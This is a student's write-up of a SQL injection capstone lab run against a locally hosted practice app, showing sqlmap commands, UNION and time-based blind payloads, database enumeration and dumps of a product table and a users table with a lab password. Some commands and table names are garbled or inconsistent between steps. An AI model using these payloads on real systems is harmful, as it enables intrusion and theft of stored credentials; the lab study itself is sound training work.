

04 - SQL Injection - Capstone

Here we are at the capstone project. Lets see if we can hack it. Or if we are a hack.

After going through the application, there is not much attack surface in this case, we have the main page, and the page that display the items with details.

Lets run:

```
"#sqlmap -r request.txt --level=5"
```

```
[22:47:32] [INFO] testing 'Oracle stacked queries (USER_LOCK,SLEEP - comment)'
[22:47:32] [INFO] testing 'Oracle stacked queries (USER_LOCK,SLEEP)'
[22:47:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:47:42] [INFO] POST parameter 'product' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] Y
[22:48:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:48:46] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:48:46] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
-- technique=BUS or try to lower the value of option '-time-sec' (e.g. '-time-sec=2')
[22:48:46] [INFO] target URL appears to be UNION injectable with 4 columns
[22:48:46] [INFO] POST parameter 'product' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'product' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 2623 HTTP(s) requests:

Parameter: product (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product='' AND (SELECT 7882 FROM (SELECT(SLEEP(5))))Stoi-- dWhK

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: product='' UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x774e6d5666478576c6c77586b4da43537a456552586f7378a854584b5064726b656e796277694f,0x716a6b6b71),NULL--

[22:49:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.34, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12
[22:49:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'
[*] ending @ 22:49:03 /2024-11-17/
```

It is vulnerable. We can see the payload. Lets have sql do everything.

```
--dbs
```

```
(kali@kali) (~/.Desktop/WebApp-Lab/injection-capstone)
$ sqlmap -r request.txt --level=5 --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:51:40 /2024-11-17/

[22:51:40] [INFO] parsing HTTP request from 'request.txt'
[22:51:40] [INFO] resuming back-end DBMS 'mysql'
[22:51:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: product (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product='' AND (SELECT 7882 FROM (SELECT(SLEEP(5))))Stoi-- dWhK

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: product='' UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x774e6d5666478576c6c77586b4da43537a456552586f7378a854584b5064726b656e796277694f,0x716a6b6b71),NULL--

[22:51:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 7.4.33, Apache 2.4.54
back-end DBMS: MySQL >= 5.0.12
[22:51:40] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] peh-labs
[*] performance_schema

Using the full database schema:
[*] performance_schema

[22:51:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'
[*] ending @ 22:51:41 /2024-11-17/
```

```
--tables
```

```
(kali@kali) ~/-/Desktop/WebApp-Lab/injection-capstone
$ sqlmap -r request.txt --level=5 -D peh-labs --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:53:54 /2024-11-17/

[22:53:54] [INFO] parsing HTTP request from 'request.txt'
[22:53:54] [INFO] resuming back-end DBMS 'mysql'
[22:53:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: product (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product="" AND (SELECT 7882 FROM (SELECT(SLEEP(5)))StoI)-- dmKk

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: product="" UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x774e6d5666478576c6c77586b4d4a43537a456552586f73784b54584b5864726b56e796277694f,0x716a6b6b71),NULL--

[22:53:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.54, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12
[22:53:54] [INFO] fetching tables for database: 'peh-labs'
Database: peh-labs
[10 tables]
+-----+
| auth@02 |
| auth@03 |
| c@03    |
| idor@01 |
| injection@01 |
| injection@02 |
| injection@03_products |
| injection@03_users |
| xs@02   |
| xs@03   |
+-----+

[22:53:54] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'

[*] ending @ 22:53:54 /2024-11-17/
```

Now, we can dump whatever there is in those 2.

"#sqlmap -r request.txt --level=5 -D peh-labs -T injection0x03_products --dump"

```
(kali@kali) ~/-/Desktop/WebApp-Lab/injection-capstone
$ sqlmap -r request.txt --level=5 -D peh-labs -T injection@03_products --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:56:22 /2024-11-17/

[22:56:22] [INFO] parsing HTTP request from 'request.txt'
[22:56:22] [INFO] resuming back-end DBMS 'mysql'
[22:56:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: product (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product="" AND (SELECT 7882 FROM (SELECT(SLEEP(5)))StoI)-- dmKk

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: product="" UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x774e6d5666478576c6c77586b4d4a43537a456552586f73784b54584b5864726b56e796277694f,0x716a6b6b71),NULL--

[22:56:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.54, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12
[22:56:22] [INFO] fetching columns for table 'injection@03_products' in database 'peh-labs'
[22:56:22] [INFO] fetching entries for table 'injection@03_products' in database 'peh-labs'
Database: peh-labs
Table: injection@03_products
[4 entries]

+-----+
| image | price | name | description |
+-----+
|        |        |      |              |
|        |        |      |              |
|        |        |      |              |
|        |        |      |              |
+-----+

| tanyoubi.png | 10,000 | Tanyoubi Sushi Rack | Introducing the Tanyoubi Sushi Rack, the ultimate showcase for birthday sushi. This rack is carefully hand-crafted and made to order using the finest selection of wood. With its unique design and exquisite attention to detail, it serves as an extraordinary centerpiece that will transform your sushi presentation. Celebrate your special day with an elegant sushi display, making your birthday celebration a memorable one. |
| shougatsu.png | 20,000 | Shougatsu Sushi Rack | Our Shougatsu Sushi Rack is a New Year's special that will revolutionize your Osechi experience. This limited edition rack is specifically designed to showcase traditional New Year foods. With its elegant design and exceptional craftsmanship, it complements the rich cultural significance of Osechi, enhancing the festive spirit. Start your New Year with a fresh perspective on traditional Japanese cuisine. |
| senpai.png | 30,000 | Senpai Knife Set | The Senpai Knife Set is the ideal choice for those who seek perfection in their sushi making. This set includes a variety of expertly crafted knives, each designed for a specific purpose in sushi preparation. With their razor-sharp blades and comfortable handles, these knives provide precision and control, bringing you one step closer to the mastery of sushi making. Embrace the artistry of sushi with our Senpai Knife Set. |
| itamae.png | 45,000 | Itamae Knife Set | The Itamae Knife Set is a collection worthy of a sushi master. Each knife in this set is hand-forged by skilled artisans, ensuring unparalleled sharpness and durability. With a focus on balance and precision, these knives allow for seamless preparation of sushi ingredients. From delicate sashimi slices to perfect nigiri, this set is designed to handle every sushi-making task with ease. Become an Itamae in your own kitchen with our premium knife set. |
+-----+

[22:56:22] [INFO] table 'peh-labs.injection@03_products' dumped to CSV file '/home/kali/.local/share/sqlmap/output/localhost/dump/peh-labs/injection@03_products.csv'
[22:56:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'

[*] ending @ 22:56:22 /2024-11-17/
```

Now, we do it for the other table.

```
kali@kali: ~/Desktop/WebApp-Lab/injection-capstone
$ sqlmap -r request.txt --level=5 -u peh-labs --i injection0+03_users --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:58:07 /2024-11-17/

[22:58:07] [INFO] parsing HTTP request from 'request.txt'
[22:58:07] [INFO] resuming back-end DBMS 'mysql'
[22:58:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameters: product (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: product= ' AND (SELECT 7802 FROM (SELECT(SLEEP(5))))StoI-- dmHk

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: product= ' UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x77ae6d65666478576c6c77586b4d4a43537a456552586f773784854584b5864726b656e796277694f,0x716a6b671),NULL--

[22:58:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 7.4.33, Apache 2.4.54
back-end DBMS: MySQL >= 5.0.12
[22:58:07] [INFO] fetching columns for table 'injection0+03_users' in database 'peh-labs'
[22:58:07] [INFO] fetching entries for table 'injection0+03_users' in database 'peh-labs'
Database: peh-labs
Table: injection0+03_users
[1 entry]

password | username |
onigirigadaisuki | takeshi |

[22:58:07] [INFO] table 'peh-labs.injection0+03_users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/localhost/dump/peh-labs/injection0+03_users.csv'
[22:58:07] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/localhost'

[*] ending @ 22:58:07 /2024-11-17/
```

And, we have the password, and username.

We can try initial access. But, as this is being hosted in my machine, we know it wont work as this username is not an user in our machine/server.

Our instructor, Alex, goes through the exploitation manually. I am not going to be documenting that.

Take aways: Check if the tool you are using offers this idea "if this succeeds, then do this" type of thing. We can see the sqlmap has this idea behind it. We first check if it is vulnerable, then we enumerate the database, and dump what we want.